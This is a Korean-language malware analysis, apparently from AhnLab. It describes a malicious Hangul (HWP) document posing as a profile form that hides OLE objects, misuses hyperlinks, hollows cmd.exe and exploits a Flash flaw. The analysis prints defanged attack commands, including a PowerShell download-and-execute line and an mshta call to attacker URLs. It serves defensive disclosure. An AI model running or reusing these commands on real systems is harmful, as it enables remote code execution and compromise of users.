악성 한글 문서, 이번에는 프로필 양식으로 위장
안랩은 최근 OLE 개체 및 플래쉬 취약점을 이용한 또다른 악성 한글 문서를 확인했다. 해당 문서는 약 일주일 전 생일 축하 내용으로 위장한 데 이어, 이번에는 프로필 양식으로 둔갑했다. 이번 글에서는 새로운 악성 한글 문서가 어떤 과정을 거쳐 악성코드를 유포하는지 설명한다.
먼저 OLE가 무엇인지 간단히 살펴보자. OLE는 ‘Object Linking & Embedding’의 약자로 객체 연결 및 삽입을 의미한다. 즉, 윈도우 응용 프로그램 간에 문서나 그림, 차트, 음악 파일 등과 같은 객체를 공유할 수 있는 기술이다.
확인된 한글 문서 내부에는 OLE 개체가 삽입되어 있으며, 해당 문서가 실행될 때 %TEMP% 폴더에 [표 1]의 파일이 생성된다.
[표 1] 생성되는 파일 목록
공격자가 기존 powershell.exe, mshta.exe 파일을 직접 사용하지 않고 %TEMP% 경로에 파일을 먼저 복사한 것은 행위 탐지 기능을 우회하려는 시도로 추정된다.
공격자는 삽입한 OLE 개체가 보이지 않도록 [그림 1]처럼 해당 개체 앞에 하얀색 이미지를 배치했다. 문서에 삽입된 OLE 개체 중 hword.exe와 hwp.exe는 윈도우 10 환경에서 동작할 수 있는 정상적인 파일이다.
[그림 1] 문서에 삽입된 OLE 개체
[그림 2]의 문서 내용으로 보아, ‘프로필 양식’ 등의 제목으로 문서가 유포된 것으로 보인다. 공격자는 생성한 악성 파일을 실행하기 위해 각 칸에 공백을 지정한 후 하이퍼링크를 설정했다.
[그림 2] 문서 정보
따라서 사용자가 한글 문서를 열어 양식을 작성하기 위해 해당 칸을 클릭하면 [그림 3]과 같이 하이퍼링크로 연결된다. 다만, 연결 주소가 상대 경로로 되어 있어 한글 문서가 특정 위치에 존재해야 공격이 실행된다.
[그림 3] 확인되는 하이퍼링크
하이퍼링크를 클릭할 때 실행되는 링크 파일은 [표 2]와 같은 명령어를 포함하고 있어 최종적으로 mshta를 이용해 악성 URL에 접속한다.
%tmp%\hwp.exe “hxxp://yukkimmo.sportsontheweb[.]net/hw.php”
[표 2] 하이퍼링크 클릭 시 실행되는 링크 파일에 포함된 명령어
현재 해당 URL([그림 4] 참고)에 접속하면 hwp.exe를 종료하는 명령어가 확인된다. 이 외에도 공격자의 의도에 따라 다양한 악성 명령어가 실행될 수 있다.
[그림 4] 전송받은 명령어
안랩은 hwp.exe를 종료하는 명령어 외에 동일한 URL에서 전달받은 것으로 추정되는 [표 3]의 명령어도 추가로 발견했다. 파일명이 hword.exe인 파워쉘을 이용해 hxxp://yukkimmo.sportsontheweb[.]net/h.txt에 접속하는 명령어로, 해당 URL에는 악성 스크립트 코드가 존재한다.
hword.exe -nop -c \”iex(new-object net.webclient).downloadstring(‘hxxp://yukkimmo.sportsontheweb[.]net/h.txt’)
[표 3] 안랩 인프라에서 확인된 추가 명령어
해당 악성 스크립트는 다음 2가지 기능을 수행한다.
1. 추가 PE 데이터 다운로드 및 실행
추가 PE 데이터를 다운로드한 뒤 %temp% 폴더에 2247529.txt 이름으로 저장한다. 해당 데이터는 System32\cmd.exe에 할로잉(Hollowing)하여 실행한다. 할로잉이란 공격자가 사용하는 기술 중 하나로, 정상적인 프로세스를 실행한 후 해당 프로세스의 이미지를 언매핑하고 악성코드를 매핑하는 것을 말한다.
2. 1234dd.tmp 파일로 한글 문서 변경
한글 파일을 실행할 때 생성되는 1234dd.tmp 파일을 3dd21.tmp 이름으로 복사한다. 그런 다음, %appdata%\12312.txt에 작성된 한글 파일명의 경로를 확인하여 복사한 3dd21.tmp 파일로 변경한다. 이로 인해 사용자가 한글 파일을 다시 실행하면 플래시 개체가 삽입된 한글 문서(1234dd.tmp)가 실행된다.
이 변경된 한글 문서의 개체 속성을 확인하면 [그림 5]와 같이 특정 URL(hxxp://www.sjem.co[.]kr/admin/data/category/notice_en/view.php)이 포함된 것을 알 수 있다. 해당 URL은 여전히 플래시 취약점(CVE-2018-15982) 파일이 업로드되어 있는 곳으로, 2020년 ASEC 블로그 게시물인 <한글문서(HWP) 내부 플래쉬 취약점 이용한 새로운 공격>에서도 소개된 바 있다.
[그림 5] 플래시 개체가 삽입된 1234dd.tmp 파일의 개체 속성
이처럼 과거와 유사한 취약점을 이용한 악성 행위가 최근에도 확인되고 있어 사용자의 각별한 주의가 필요하다. 특히 이번에 발견된 악성코드는 공격자로부터 추가 명령을 받아 실행되는 만큼, 다양한 악성 행위가 실행될 수 있다. 따라서 작성자를 알 수 없는 문서 파일은 가급적 실행하지 말아야 하며, 사용 중인 응용 프로그램 및 V3를 최신 버전으로 업데이트하여 사용할 필요가 있다.
출처 : AhnLab